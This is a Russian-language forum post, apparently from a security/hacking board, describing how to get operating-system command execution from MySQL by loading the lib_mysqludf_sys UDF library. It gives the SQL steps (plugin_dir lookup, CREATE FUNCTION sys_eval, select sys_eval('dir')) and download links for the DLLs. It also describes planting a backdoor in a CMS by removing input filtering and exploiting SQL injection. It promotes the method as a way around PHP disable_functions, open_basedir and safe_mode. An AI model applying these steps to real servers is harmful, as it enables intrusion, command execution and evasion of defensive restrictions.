Prev Предыдущее сообщение   Следующее сообщение Next
Старый 19.03.2012, 08:52   #1
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию Прокачиваем Мускул, или выполнение системных команд.

Качаем Мускул, или выполнение системных команд.

http://depositfiles.com/files/7ssja9v37

На видео показано выполнение системных команд из MySql, используя UDF (User-Defined Function).
Про добавление новой, определяемой пользователем функции описано тут.
http://www.mysql.ru/docs/man/Adding_UDF.html

Коротко,
функции должны быть написаны на C или на C++, а операционная система должна поддерживать динамическую загрузку.
Файлы, реализующие UDFы, должны компилироваться и устанавливаться на машине, где работает сервер, в каталог,
где MySql может его прочитать.
Под виндой мускул воспринял новый файл без перезагрузки.

После установки библиотеки, новая функция инициализируется командой:
Код:
CREATE FUNCTION name_function RETURNS STRING SONAME "name_udf_lib.so";
Все, можно пользоваться name_function(), так же как и встроенной.

Для удаления функции используем команду
Код:
DROP FUNCTION name_function;
Существуют готовые библиотеки, самые известные находятся здесь
http://www.mysqludf.org/
нас интересует эта
http://www.mysqludf.org/lib_mysqludf_sys/

в ее составе
lib_mysqludf_sys_info() - для вывода информации о текущей версии
sys_eval — выполняет переданную команду и возвращает её вывод
sys_exec — выполняет переданную команду и возвращает её код возврата
sys_get — получает значение переменной окружения
sys_set — создает переменную окружения и устанавливает/обновляет её значение


к сожалению на сайте, для виндов выложена левая библиотека, но рабочая нашлась по адресу
для 32b
http://www.assembla.com/code/amuccitesi/subversion/nodes/plugin/windows/lib_mysqludf_sys.dll?rev=3

для 64b (эту не проверял)
https://sites.google.com/site/xedocfiles/files/lib_mysqludf_sys.zip?attredirects=0&d=1

На видео показано:
смотрим, откуда мускул подгружает библиотеки
Код:
show variables like 'plugin_dir';
и в этот каталог льем файл lib_mysqludf_sys.dll

создаем UDF
Код:
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll';
Код:
select * from mysql.func
покажет все пользовательские функции

проверяем работу
Код:
select sys_eval('dir');
дает вывод каталога @@datadir

Собственно все...

Ну проверим работу, забэкдорив СМСку (под руками была DLE v9.4).
Пакостим слегка, в скрипте убираем фильтрацию переменной и эксплуатируем SQLi.

Дополнительный бонус метода, даже если включат в PHP
disable_functions
open_basedir
safe_mode
выполнение команд через мускул не страдает.

На форуме, близко по теме
https://rdot.org/forum/showthread.php?p=6197#post6197
https://rdot.org/forum/showthread.php?t=2025

Последний раз редактировалось nikp; 19.03.2012 в 10:22..
nikp вне форума   Ответить с цитированием
 

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot